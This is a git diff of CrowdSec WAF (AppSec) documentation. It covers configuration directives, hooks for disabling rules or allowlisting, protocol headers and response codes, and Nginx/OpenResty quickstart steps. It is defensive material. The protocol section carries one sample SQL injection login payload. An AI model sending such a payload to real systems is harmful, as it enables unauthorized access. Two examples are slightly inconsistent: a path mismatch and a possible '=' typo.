+```yaml title="/etc/crowdsec/appsec-configs/my_vpatch_rules.yaml"
+name: custom/my_vpatch_rules
+default_remediation: ban
+inband_rules:
+ - custom/custom-vpatch-*
+# Add custom hooks as needed
+```
+
+## AppSec Configuration Files
+
+AppSec configuration files declare **which rules to load** in the **in-band** *(blocking)* and/or **out-of-band** *(non-blocking)*, define how matches are handled (e.g., default remediation), and let you tweak processing via hooks like `on_load`, `pre_eval`, `post_eval`, and `on_match`.
+
+For details, jump to the [Configuration properties list](#appendix-appsec-configuration-properties)
+
+:::info
+When loading multiple AppSec configs, _hooks_ and _appsec rules_ are appended, and for conflicting options (e.g., `default_remediation`), the last one takes precedence.
+:::
+
+### Configuration Processing Order
+
+When multiple AppSec configurations are loaded, they are processed in the order specified in the `appsec_configs` list. For details on how in-band and out-of-band rules work, see the [AppSec Introduction](/appsec/intro.md#inband-rules-and-out-of-band-rules).
+
+### Multi-Config Rule Evaluation
+
+1. All `inband_rules` from all configurations are combined and evaluated together
+2. All `outofband_rules` from all configurations are combined and evaluated together
+3. Hooks from all configurations are executed in the order the configurations are listed
+4. For conflicting configuration options (like `default_remediation`), the last configuration's value takes precedence
+
+## AppSec Configuration Reference
+
+Each AppSec configuration file defines how rules are loaded and processed.
+You can create custom configuration files in the following folder: `/etc/crowdsec/appsec-configs/`
+
+Here's the complete reference of available directives:
+
+### Core Configuration Directives
+
+#### `name` (required)
+Unique identifier for the AppSec configuration, used for logging and referencing.
+
+```yaml
+name: custom/my-appsec-config
+```
+
+#### `inband_rules` (optional)
+List of rule patterns to load as in-band rules. See [in-band rule processing](/appsec/intro.md#inband-rule-processing) for details.
+
+```yaml
+inband_rules:
+ - crowdsecurity/base-config
+ - crowdsecurity/vpatch-*
+ - custom/critical-patches
+```
+
+#### `outofband_rules` (optional)
+List of rule patterns to load as out-of-band rules. See [out-of-band rule processing](/appsec/intro.md#out-of-band-rules-processing) for details.
+
+```yaml
+outofband_rules:
+ - crowdsecurity/crs
+ - custom/detection-rules
+```
+
+### Remediation Configuration
+
+#### `default_remediation` (optional, default: "ban")
+Default action for in-band rules that match. Special value `allow` prevents blocking.
+
+```yaml
+default_remediation: ban # or "allow", "captcha", etc.
+```
+
+:::info
+When using multiple AppSec configs the last declared one takes precedence for this property
+:::
+
+#### `default_pass_action` (optional, default: "allow")
+Action for requests that don't match any rules or match rules with pass action.
+
+```yaml
+default_pass_action: allow # or any custom value
+```
+
+:::info
+When using multiple AppSec configs the last declared one takes precedence for this property
+:::
+
+### HTTP Response Codes
+
+#### `blocked_http_code` (optional, default: 403)
+HTTP status code returned to the remediation component for blocked requests.
+
+#### `passed_http_code` (optional, default: 200)
+HTTP status code returned to the remediation component for allowed requests.
+
+#### `user_blocked_http_code` (optional, default: 403)
+HTTP status code returned to the end user for blocked requests.
+
+#### `user_passed_http_code` (optional, default: 200)
+HTTP status code returned to the end user for allowed requests.
+
+```yaml
+blocked_http_code: 403
+passed_http_code: 200
+user_blocked_http_code: 403
+user_passed_http_code: 200
+```
+
+### Performance and Processing Options
+
+#### `inband_options` and `outofband_options`
+Performance tuning options for rule processing:
+
+```yaml
+inband_options:
+ disable_body_inspection: false # Skip HTTP body inspection
+ request_body_in_memory_limit: 1048576 # Max body size in memory (bytes)
+
+outofband_options:
+ disable_body_inspection: false
+ request_body_in_memory_limit: 1048576
+```
+
+**`disable_body_inspection`**: Set to `true` to skip HTTP body analysis for performance.
+**`request_body_in_memory_limit`**: Maximum request body size to load into memory (default: 1MB). Larger bodies are processed differently.
+
+#### `log_level` (optional)
+Logging verbosity for this configuration. Available levels: `debug`, `info`, `warn`, `error`.
+
+```yaml
+log_level: info # Use "debug" for troubleshooting
+```
+
+### Hook Configuration
+
+AppSec configurations support four types of hooks for custom behavior:
+
+#### `on_load`
+Executed when the configuration is loaded. Typically used for global rule modifications.
+
+```yaml
+on_load:
+ - apply:
+ - RemoveInBandRuleByName("problematic-rule")
+```
+
+#### `pre_eval`
+Executed before rule evaluation for each request. Supports conditional logic.
+
+```yaml
+pre_eval:
+ - filter: IsInBand && req.RemoteAddr == "192.168.1.100"
+ apply:
+ - RemoveInBandRuleByName("strict-rule")
+```
+
+#### `post_eval`
+Executed after rule evaluation. Useful for debugging and analysis.
+
+```yaml
+post_eval:
+ - filter: IsInBand
+ apply:
+ - DumpRequest().WithBody().ToJSON()
+```
+
+#### `on_match`
+Executed when rules match. Used to modify remediation or generate custom alerts.
+
+```yaml
+on_match:
+ - filter: req.URL.Host == "staging.example.com"
+ apply:
+ - SetRemediation("allow")
+ - CancelAlert()
+```
+
+For complete hook documentation, see [AppSec Hooks](/appsec/hooks.md).
+
+## Rule Management
+
+### Disabling Rules at Runtime
+
+You can disable rules at runtime, either globally (for all requests) or based on specific conditions (source IP, URI, ...).
+
+You can disable rules by:
+ - Name with `RemoveInBandRuleByName`: For CrowdSec rules (name as seen in `cscli appsec-rules list`)
+ - ID with `RemoveInBandRuleByID`: For seclang/ModSecurity rules by numeric ID
+ - Tag with `RemoveInBandRuleByTag`: For seclang/ModSecurity rules by tag
+
+The same functions exist for out-of-band rules, prefixed with `RemoveOutBandRuleBy...`
+
+To disable a rule, create a new AppSec config to avoid tainting the configuration from the hub (or update your existing custom configuration).
+
+```yaml title="/etc/crowdsec/appsec-configs/my_config.yaml"
+name: custom/my_config
+on_load:
+ - apply:
+ - RemoveInBandRuleByName("crowdsecurity/vpatch-env-access")
+pre_eval:
+ - filter: IsInBand == true && req.URL.Path startsWith "/bar/"
+ apply:
+ - RemoveInBandRuleByName("crowdsecurity/generic-wordpress-uploads-php")
+```
+
+This example uses [hooks](/docs/appsec/hooks.md) to modify the configuration in 2 places:
+ - `on_load`: Expressions here will be applied when CrowdSec loads the configuration, effectively disabling the rule `crowdsecurity/vpatch-env-access` globally.
+ - `pre_eval`: Expressions here will be applied only if the provided filter matches. In this example, we are disabling the rule `crowdsecurity/generic-wordpress-uploads-php` only if the request URI starts with `/blog/` and if we are currently processing in-band rules.
+
+You can also disable native (seclang) rules by providing their ID with the `RemoveInBandRuleByID` helper. See the [hooks](appsec/hooks.md) documentation for a list of available helpers.
+
+Also note that we are not loading any rules in our custom config: the rules are loaded by the `crowdsecurity/appsec-default` config, and we are just modifying the runtime behavior with this config.
+
+Finally, add your new config to the acquisition configuration:
+
+```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
+appsec_configs:
+ - crowdsecurity/appsec-default
+ - custom/my_config
+labels:
+ type: appsec
+listen_addr: 127.0.0.1:7422
+source: appsec
+```
+
+## Allowlisting
+
+### Fully allow a specific IP or range
+
+If you want to ignore all rule matches for a specific IP or range, you can use a [centralized allowlist](local_api/allowlists.md).
+
+Rules will be processed as usual, but the request will not be blocked even if a rule matches.
+
+### Disable specific rules for a specific IP/range
+
+If you want to disable rule(s) for a specific IP (or range), you will need to use the `pre_eval` hook (refer to the section above for more details):
+
+```yaml title="/etc/crowdsec/appsec-configs/my_config.yaml"
+name: custom/my_config
+pre_eval:
+ - filter: req.RemoteAddr == "1.2.3.4"
+ apply:
+ - RemoveInBandRuleByName("crowdsecurity/generic-wordpress-uploads-php")
+```
+
+### Disable appsec for a specific FQDN
+
+If your reverse-proxy forwards all requests to CrowdSec regardless of the FQDN, you can disable AppSec for specific domains with a custom AppSec config (the request will always be allowed):
+
+```yaml title="/etc/crowdsec/appsec-configs/my_config.yaml"
+name: custom/my_config
+on_match:
+ - filter: req.URL.Host == "foo.com"
+ apply:
+ - CancelEvent()
+ - CancelAlert()
+ - SetRemediation("allow")
+```
+
+With this config, the rules will still be evaluated, but if a rule matches no alert or event will be generated, and the remediation will be set to `allow`(ie, instruct the bouncer to let the request through).
+
+## Appendix: Appsec configuration properties
+
+The AppSec configuration is referenced by the acquisition configuration (`appsec_config`, `appsec_configs` or `appsec_config_path`):
+
+> An example AppSec configuration
+```yaml
+name: crowdsecurity/virtual-patching
+default_remediation: ban
+#log_level: debug
+inband_rules:
+ - crowdsecurity/base-config
+ - crowdsecurity/vpatch-*
+# inband_options:
+# disable_body_inspection: true
+```
+
+### `name`
+
+(required) the `name` of the AppSec configuration, used for both logging purposes and to reference the configuration from acquisition configuration.
+
+### `outofband_rules`
+
+A supplementary list of rules can be loaded during the out-of-band phase. These out-of-band rules are non-blocking and are assessed only after the AppSec Component has responded to the remediation component. This approach is beneficial for rules that may be costly to execute, have a higher likelihood of generating false positives, or are applicable in specific scenarios.
+
+### `inband_rules`
+
+An optional list of rules to be loaded in in-band phase. In band rules are blocking and evaluated before answering the remediation component. Useful for virtual patching, rules with no/low false positives.
+
+### `default_remediation`
+
+An optional remediation for in-band rules, defaults to `ban`. If set to `allow`, remediation component won't block the request (even if it matched rules). Any other value (including `captcha`) is passed as-is back to the remediation component.
+
+:::info
+When using multiple AppSec configs the last declared one takes precedence for this property
+:::
+
+### `default_pass_action`
+
+An optional remediation for requests that didn't match any rules (or rules with a pass action). Defaults to `allow`. Any other value will be passed as-is to the remediation component.
+
+:::info
+When using multiple AppSec configs the last declared one takes precedence for this property
+:::
+
+### `blocked_http_code`
+
+The HTTP code to return to the remediation component when a request should be blocked. Defaults to `403`
+
+### `passed_http_code`
+
+The HTTP code to return to the remediation component when a request should not be blocked. Defaults to `200`
+
+### `user_blocked_http_code`
+
+The HTTP code to return to the final client when a request should be blocked. Defaults to `403`
+
+### `user_passed_http_code`
+
+The HTTP code to return to the final client when a request should not be blocked. Defaults to `200`
+
+### `on_load`
+
+See the [dedicated doc](/docs/appsec/hooks.md#on_load)
+
+### `pre_eval`
+
+See the [dedicated doc](/docs/appsec/hooks.md#pre_eval)
+
+### `post_eval`
+
+See the [dedicated doc](/docs/appsec/hooks.md#post_eval)
+
+### `on_match`
+
+See the [dedicated doc](/docs/appsec/hooks.md#on_match)
+
+### `inband_options` and `outofband_options`
+
+Subset of options that can be applied to the in-band/out-of-band rules:
+ - `disable_body_inspection` : boolean, allows to disable HTTP body inspection
+ - `request_body_in_memory_limit` : a number of byes indicating the maximum body size to be loaded in memory
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/create_rules.md b/crowdsec-docs/versioned_docs/version-v1.6/appsec/create_rules.md
similarity index 98%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/appsec/create_rules.md
rename to crowdsec-docs/versioned_docs/version-v1.6/appsec/create_rules.md
index 64c2904c1..894a0d936 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/create_rules.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/create_rules.md
@@ -1,6 +1,6 @@
---
id: create_rules
-title: Create Rules
+title: Create AppSec Rules
sidebar_position: 3
---
@@ -168,7 +168,7 @@ Let's get over the relevant parts:
- `name` is how the alert will appear to users (in `cscli` or [the console](http://app.crowdsec.net))
- `description` is how your scenario will appear in [the hub](https://hub.crowdsec.net)
-- `labels` section is used both in [the hub](https://hub.crowdsec.net) and [the console](https://app.crowdsec.net). [It must follow rules described here](/scenarios/format.md#labels)
+- `labels` section is used both in [the hub](https://hub.crowdsec.net) and [the console](https://app.crowdsec.net). [It must follow rules described here](/log_processor/scenarios/format.md#labels)
- `rules` describe what we want to match:
- a [`METHOD`](/appsec/rules_syntax.md#target) [equal to `POST`](/appsec/rules_syntax.md#match)
- the presence of a header ([`HEADERS_NAME`](/appsec/rules_syntax.md#target)) with a name that once transformed to `lowercase`, is `x-foobar-bypass`
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/faq.md b/crowdsec-docs/versioned_docs/version-v1.6/appsec/faq.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/appsec/faq.md
rename to crowdsec-docs/versioned_docs/version-v1.6/appsec/faq.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/hooks.md b/crowdsec-docs/versioned_docs/version-v1.6/appsec/hooks.md
similarity index 92%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/appsec/hooks.md
rename to crowdsec-docs/versioned_docs/version-v1.6/appsec/hooks.md
index 3cee31a75..2ae4773b0 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/hooks.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/hooks.md
@@ -1,6 +1,6 @@
---
id: hooks
-title: Hooks
+title: AppSec Component Hooks
sidebar_position: 4
---
@@ -176,7 +176,7 @@ This hook is intended to be used to change the behavior of the engine after a ma
| `DumpRequest` | `func()` | Dump the request to a file (see previous section for detailed usage) |
| `IsInBand` | `bool` | `true` if the request is in the in-band processing phase |
| `IsOutBand` | `bool` | `true` if the request is in the out-of-band processing phase |
-| `evt` | `types.Event` | The event that has been generated by the Application Security Component |
+| `evt` | `types.Event` | [The event that has been generated](/docs/expr/event.md#appsec-helpers) by the Application Security Component |
| `req` | `http.Request` | Original HTTP request received by the remediation component |
#### Example
@@ -192,6 +192,14 @@ post_eval:
apply:
- CancelAlert()
- CancelEvent()
+ - filter: |
+ any( evt.Appsec.MatchedRules, #.name == "crowdsecurity/vpatch-env-access") and
+ req.RemoteAddr = "192.168.1.1"
+ apply:
+ - SetRemediation("allow")
+ - filter: evt.Appsec.MatchedRules.GetURI() contains "/foobar/"
+ apply:
+ - SetRemediation("allow")
```
## Detailed Helpers Information
@@ -203,4 +211,14 @@ Any other values (including `ban` and `captcha`) are transmitted as-is to the re
+### `req` object
+
+The `pre_eval`, `on_match` and `post_eval` hooks have access to a `req` variable that represents the HTTP request that was forwarded to the appsec.
+
+It's a Go [http.Request](https://pkg.go.dev/net/http#Request) object, so you can directly access all the details about the request.
+For example:
+ - To get the requested URI: `req.URL.Path`
+ - To get the client IP: `req.RemoteAddr`
+ - To get the HTTP method: `req.Method`
+ - To get the FQDN: `req.URL.Host`
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/intro.md b/crowdsec-docs/versioned_docs/version-v1.6/appsec/intro.md
similarity index 79%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/appsec/intro.md
rename to crowdsec-docs/versioned_docs/version-v1.6/appsec/intro.md
index 8b6a33a47..aea72dc98 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/intro.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/intro.md
@@ -1,6 +1,6 @@
---
id: intro
-title: Introduction
+title: AppSec Component - CrowdSec WAF
sidebar_position: 1
---
@@ -24,9 +24,9 @@ This component capitalizes on existing remediation functions in web servers (suc

1. The Web Server receives the HTTP request
-2. The HTTP Request is intercepted and passed to the Crowdsec Security Engine via [the HTTP API](/appsec/protocol.md)
+2. The HTTP Request is intercepted and passed to the CrowdSec Security Engine via [the HTTP API](appsec/protocol.md)
3. The Security Engine answers to the Web Server once the Appsec inband rules have been processed.
-4. Based on the [Security Engine answer](/appsec/protocol.md#response-code), the Web Server either blocks the HTTP Request or processes it as usual
+4. Based on the [Security Engine answer](appsec/protocol.md#response-code), the Web Server either blocks the HTTP Request or processes it as usual
## Inband Rules and Out-Of-Band Rules
@@ -62,12 +62,17 @@ This is meant to allow for scenarios to exploit the WAF rules events, such as bl
## Next steps
-Let's now start using this AppSec capabilities:
+You can follow our quick start guides depending on your web server:
+
+- [Nginx/OpenResty](/appsec/quickstart/nginxopenresty.mdx)
+- [Traefik](/appsec/quickstart/traefik.mdx)
+- [WordPress](/appsec/quickstart/wordpress.mdx)
+- [CrowdSec WAF with Nginx Reverse Proxy](/u/user_guides/waf_rp_howto)
+
+Or consider learning more about the AppSec capabilities:
-- **Installation**: [How to configure the Application Security Component with an existing remediation component](/appsec/installation.md)
- **Rules**: [How to read, write and debug rules](/appsec/rules_syntax.md)
-
-- **Scenarios**: How to create scenarios that leverage the AppSec Component events
-- **Hooks**: [For advanced use let's talk about possible Hooks](/appsec/hooks.md)
+- **Scenarios**: [How to create scenarios that leverage the AppSec Component events](/appsec/alerts_and_scenarios.md)
+- **Hooks**: [To customise behavior of the AppSec at runtime](/appsec/hooks.md)
- **Troubleshoot**: [How to troubleshoot the behavior of the AppSec Component](/appsec/troubleshooting.md)
- **AppSec Protocol**: [if you're maintaining or creating a remedation component and want to add the AppSec capabilities](/appsec/protocol.md)
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/protocol.md b/crowdsec-docs/versioned_docs/version-v1.6/appsec/protocol.md
similarity index 66%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/appsec/protocol.md
rename to crowdsec-docs/versioned_docs/version-v1.6/appsec/protocol.md
index 762ef46ba..1b1d77c14 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/protocol.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/protocol.md
@@ -1,6 +1,6 @@
---
id: protocol
-title: Protocol
+title: WAF / Bouncer Communication Protocol
sidebar_position: 5
---
@@ -22,18 +22,15 @@ This documentation can be useful in case you want to write your own remediation
To work with the CrowdSec application security component, some HTTP headers are require, in addition to the other HTTP headers and the body of the original request.
-| Header Name | Description |
-| --------------------------- | -------------------------------------------------------------------------- |
-| `X-Crowdsec-Appsec-Ip` | The Real IP address of the original HTTP request |
-| `X-Crowdsec-Appsec-Uri` | The URI of the original HTTP request |
-| `X-Crowdsec-Appsec-Host` | The Host of the original HTTP request |
-| `X-Crowdsec-Appsec-Verb` | The Method of the original HTTP request |
-| `X-Crowdsec-Appsec-Api-Key` | The API Key to communicate with the CrowdSec application security component |
-| `X-Crowdsec-Appsec-User-Agent`| The User-Agent of the original HTTP request |
-
-:::info
-`X-Crowdsec-Appsec-User-Agent` was introduced in version `1.6.1` moving forward this header should be supplied by the Remediation Component for the AppSec Component to handle client useragents properly
-:::
+| Header Name | Description |
+| -------------------------------- | ------------------------------------------------------------------------------------- |
+| `X-Crowdsec-Appsec-Ip` | The Real IP address of the original HTTP request |
+| `X-Crowdsec-Appsec-Uri` | The URI of the original HTTP request |
+| `X-Crowdsec-Appsec-Host` | The Host of the original HTTP request |
+| `X-Crowdsec-Appsec-Verb` | The Method of the original HTTP request |
+| `X-Crowdsec-Appsec-Api-Key` | The API Key to communicate with the CrowdSec application security component |
+| `X-Crowdsec-Appsec-User-Agent` | The User-Agent of the original HTTP request |
+| `X-Crowdsec-Appsec-Http-Version` | The HTTP version used by the original HTTP request (in integer form `10`, `11`, ...) |
:::note
@@ -100,11 +97,11 @@ username=admin' OR '1'='1' -- &password=password
According to the result of the processing of the HTTP request, the application security component will respond with a different HTTP code and body.
-| HTTP Code | Description | Body |
-| --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ |
-| `200` | The HTTP request is allowed | `{"action" : "allow"}` |
-| `403` | The HTTP request triggered one or more application security component rules | `{"action" : "ban", "http_status": 403}` or `{"action" : "captcha", "http_status": 403}` |
-| `500` | An error occurred in the application security component. The remediation component must support a `APPSEC_FAILURE_ACTION` parameter to handle this case | `null` |
-| `401` | The remediation component is not authenticated. It must use the same API Key that was generated to pull the local API request | `null` |
+| HTTP Code | Description | Body |
+| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- |
+| `200` | The HTTP request is allowed | `{"action" : "allow"}` |
+| `403` | The HTTP request triggered one or more application security component rules | `{"action" : "ban", "http_status": 403}` or `{"action" : "captcha", "http_status": 403}` |
+| `500` | An error occurred in the application security component. The remediation component must support a `APPSEC_FAILURE_ACTION` parameter to handle this case | `null` |
+| `401` | The remediation component is not authenticated. It must use the same API Key that was generated to pull the local API request | `null` |
In case of a `403` response, the body will contain the action to take and the HTTP status code to return to the client.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/general.mdx b/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/general.mdx
new file mode 100644
index 000000000..e348e6dfd
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/general.mdx
@@ -0,0 +1,206 @@
+---
+id: general_setup
+title: General Setup
+---
+
+
+
+import Tabs from '@theme/Tabs';
+import TabItem from '@theme/TabItem';
+import CodeBlock from '@theme/CodeBlock';
+import UnderlineTooltip from '@site/src/components/underline-tooltip';
+
+
+# CrowdSec WAF General Setup
+
+This guide covers the core CrowdSec AppSec Component setup that applies to all web servers and reverse proxies. After completing these steps, you'll need to configure your specific remediation component (bouncer) to forward requests to the AppSec Component.
+
+## Prerequisites
+
+- **CrowdSec Security Engine** (>= 1.5.6) installed and running
+- A compatible remediation component (bouncer) for your web server or reverse proxy
+
+## AppSec Component Setup
+
+AppSec Setup is done in two simple steps:
+- Downloading rules and configuration's Collections
+- Setting AppSec as a new Acquisition datasource
+
+The following sections will guide you through the default setup.
+
+### Collection Installation
+
+Install the essential AppSec collections that provide virtual patching rules and generic attack detection:
+
+```bash
+sudo cscli collections install crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules
+```
+
+These collections include:
+- **Virtual Patching Rules**: Protection against known vulnerabilities (CVEs)
+- **Generic Attack Detection**: Common web attack patterns
+- **AppSec Configuration**: Default configuration linking rules together
+- **CrowdSec Parsers & Scenarios**: For processing AppSec events and creating alerts
+
+### Acquisition Configuration
+
+Configure CrowdSec to expose the AppSec Component by creating an acquisition file:
+
+1. Create the acquisition directory (if it doesn't exist):
+ ```bash
+ sudo mkdir -p /etc/crowdsec/acquis.d/
+ ```
+
+2. Create the AppSec acquisition configuration:
+ ```bash
+ sudo cat > /etc/crowdsec/acquis.d/appsec.yaml << EOF
+ appsec_config: crowdsecurity/appsec-default
+ labels:
+ type: appsec
+ listen_addr: 127.0.0.1:7422
+ source: appsec
+ name: myAppSecComponent
+ EOF
+ ```
+
+**Configuration explained:**
+- `appsec_config`: Uses the default configuration from the installed collections
+- `listen_addr`: The IP and port where the AppSec Component will listen (default: 127.0.0.1:7422)
+- `source`: Identifies this as an AppSec data source
+- `name`: A friendly name for your AppSec component
+
+:::warning Security Note
+Do not expose the AppSec Component to the internet. It should only be accessible from your web server or reverse proxy.
+:::
+
+### Start the AppSec Component
+
+Restart CrowdSec to activate the AppSec Component:
+
+```bash
+sudo systemctl restart crowdsec
+```
+
+## Testing WAF Component
+
+### Testing Configuration
+
+Check that the AppSec Component is running:
+
+
+
+
+ sudo netstat -tlpn | grep 7422
+
+
+
+ sudo ss -tlpn | grep 7422
+
+
+
+
+
+Output example
+
+```bash
+tcp 0 0 127.0.0.1:7422 0.0.0.0:* LISTEN 12345/crowdsec
+```
+
+:::note
+The output may look differently depending on which command you used but as long as you see the port and the process `crowdsec`, it means the AppSec Component is running.
+:::
+
+
+
+Check CrowdSec logs for successful startup:
+```bash
+sudo tail -f /var/log/crowdsec.log
+```
+
+Look for messages like:
+```
+INFO[...] Starting Appsec server on 127.0.0.1:7422/
+INFO[...] Appsec Runner ready to process event
+```
+
+
+## Next Steps
+
+Now that the AppSec Component is configured and running, you need to:
+
+1. **Configure your remediation component** to forward requests to `http://127.0.0.1:7422`
+2. **Test the setup** [by triggering a rule](/appsec/quickstart/general.mdx#testing-detection)
+3. **Monitor alerts** with `sudo cscli alerts list` or in the [CrowdSec Console](https://app.crowdsec.net)
+
+For specific remediation component configuration, see:
+- [Nginx/OpenResty Setup](/appsec/quickstart/nginxopenresty.mdx)
+- [Traefik Setup](/appsec/quickstart/traefik.mdx)
+- [WordPress Setup](/appsec/quickstart/wordpress.mdx)
+- [Check the hub for other remediation components supporting AppSec](https://app.crowdsec.net/hub/remediation-components)
+
+### Testing Detection
+
+If you've enabled an AppSec-capable bouncer with CrowdSec WAF, you can trigger the crowdsecurity/appsec-generic-test dummy scenario.
+This scenario will not lead to decision but is a great way to ensure that your setup is functional.
+
+We'll trigger the dummy scenario crowdsecurity/appsec-generic-test by accessing a probe path on your web server.
+
+1️⃣ Access your service URL with this path: `/crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl`
+
+```bash
+curl -I https:///crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl
+```
+
+2️⃣ Confirm the alert has triggered for the scenario crowdsecurity/appsec-generic-test
+
+```bash
+sudo cscli alerts list | grep crowdsecurity/appsec-generic-test
+```
+
+3️⃣ The alert will also appear in the console alerts
+
+
+
+
+:::info
+This scenario can only be triggered again after a 1-minute delay.
+:::
+
+## Optional: Advanced Configuration
+
+### Multiple AppSec Configurations
+
+You can [load multiple AppSec configurations](/appsec/vpatch_crs.md) for different rule sets:
+
+```yaml
+# /etc/crowdsec/acquis.d/appsec.yaml
+appsec_configs:
+ - crowdsecurity/appsec-default # Virtual patching rules (in-band)
+ - crowdsecurity/crs # OWASP CRS rules (out-of-band)
+labels:
+ type: appsec
+listen_addr: 127.0.0.1:7422
+source: appsec
+name: myAppSecComponent
+```
+
+### Custom Port Configuration
+
+To use a different port, update the `listen_addr` in your acquisition file and ensure your remediation component points to the same address.
+
+## Troubleshooting
+
+If the AppSec Component fails to start:
+
+1. **Check port availability**: Ensure port 7422 isn't already in use
+2. **Verify collections**: Run `sudo cscli collections list` to confirm installation
+3. **Check configuration syntax**: Validate your `appsec.yaml` file
+4. **Review logs**: Check `/var/log/crowdsec.log` for error messages
+
+For detailed troubleshooting, see the [AppSec Troubleshooting Guide](/appsec/troubleshooting).
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/nginxopenresty.mdx b/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/nginxopenresty.mdx
new file mode 100644
index 000000000..53c75604c
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/nginxopenresty.mdx
@@ -0,0 +1,296 @@
+---
+id: nginxopenresty
+title: QuickStart - Nginx / OpenResty
+---
+
+
+import Tabs from '@theme/Tabs';
+import TabItem from '@theme/TabItem';
+import CodeBlock from '@theme/CodeBlock';
+import UnderlineTooltip from '@site/src/components/underline-tooltip';
+
+# CrowdSec WAF QuickStart for Nginx/OpenResty
+
+## Objectives
+
+The goal of this quickstart is to set up the [AppSec Component](/appsec/intro.md#introduction) to safeguard web applications running on [Nginx](https://nginx.com) or [OpenResty](https://openresty.org/en/).
+
+We'll deploy a [set of rules](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) designed to block [well-known attacks](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) and [currently exploited vulnerabilities](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching).
+
+Additionally, we'll show how to monitor these alerts through the [console](https://app.crowdsec.net/).
+
+## Pre-requisites
+
+1. If you're new to the [AppSec Component](/appsec/intro.md#introduction) or **W**eb **A**pplication **F**irewalls, start with the [Introduction](/appsec/intro.md#introduction) for a better understanding.
+
+2. It's assumed that you have already installed:
+ - **CrowdSec [Security Engine](intro.mdx)**: for installation, refer to the [QuickStart guide](/u/getting_started/installation/linux). The AppSec Component, which analyzes HTTP requests, is included within the security engine as a [Acquisition](/log_processor/data_sources/appsec.md).
+ - One of the supported web servers for this guide:
+ - Nginx **[Remediation Component](/u/bouncers/intro)**: installation instructions are available in the [QuickStart guide](/u/bouncers/nginx).
+ - OpenResty **[Remediation Component](/u/bouncers/intro)**: installation instructions are available in the [QuickStart guide](/u/bouncers/openresty).
+
+ This component intercepts HTTP requests at the webserver or reverse-proxy level and forwards them to the AppSec Component for analysis and action.
+
+:::info
+The reason we provide Nginx and OpenResty in a single guide is that OpenResty is a web server based on Nginx just the configuration paths are different
+:::
+
+## AppSec Component Setup
+
+### Collection installation
+
+To begin setting up the AppSec Component, the initial step is to install a relevant set of rules.
+
+We will utilize the [`crowdsecurity/appsec-virtual-patching`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) collection, which offers a wide range of rules aimed at identifying and preventing the exploitation of known vulnerabilities.
+
+This collection is regularly updated to include protection against newly discovered vulnerabilities. Upon installation, it receives automatic daily updates to ensure your protection is always current.
+Furthermore we also install the [`crowdsecurity/appsec-generic-rules`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) collection. This collection contains detection scenarios for generic attack vectors. It provides some protection in cases where specific scenarios for vulnerabilities do not exist (yet).
+
+On the machine where the Security Engine is installed, just execute the following command:
+
+:::info
+You can always view the content of a [collection on the hub](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching)
+:::
+
+```
+sudo cscli collections install crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules
+```
+
+Executing this command will install the following items:
+
+- The [*AppSec Rules*](/appsec/rules_syntax.md) contain the definition of malevolent requests to be matched and stopped
+- The [*AppSec Configuration*](/appsec/configuration.md#appsec-configuration) links together a set of rules to provide a coherent set
+- The CrowdSec Parser and CrowdSec Scenario(s) bans for a longer duration repeating offenders
+
+### Setup the Acquisition
+
+Having installed the required components, it's time to configure the CrowdSec Acquisition to expose the Application Security Component to our web server. This configuration allows our Nginx/OpenResty server to send requests to the AppSec Component for evaluation and decision-making.
+
+Steps:
+ 1. Create the `/etc/crowdsec/acquis.d/` directory (if it doesn't exist on your machine)
+ ```
+ mkdir -p /etc/crowdsec/acquis.d/
+ ```
+ 2. Create a file `/etc/crowdsec/acquis.d/appsec.yaml` with the following content:
+ ```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
+ appsec_config: crowdsecurity/appsec-default
+ labels:
+ type: appsec
+ listen_addr: 127.0.0.1:7422
+ source: appsec
+ ```
+
+The two important directives in this configuration file are:
+
+ - `appsec_config` is the name of the [*AppSec Configuration*](appsec/configuration.md#appsec-configuration) that was included in the Collection we just installed.
+ - the `listen_addr` is the IP and port the AppSec Component will listen to.
+
+:::warning
+We do not recommend exposing the AppSec Component to the internet. It should only be accessible from the web server or reverse proxy.
+:::
+
+:::info
+You can find more about the [supported options for the acquisition here](/log_processor/data_sources/appsec.md)
+:::
+
+You can now restart CrowdSec:
+
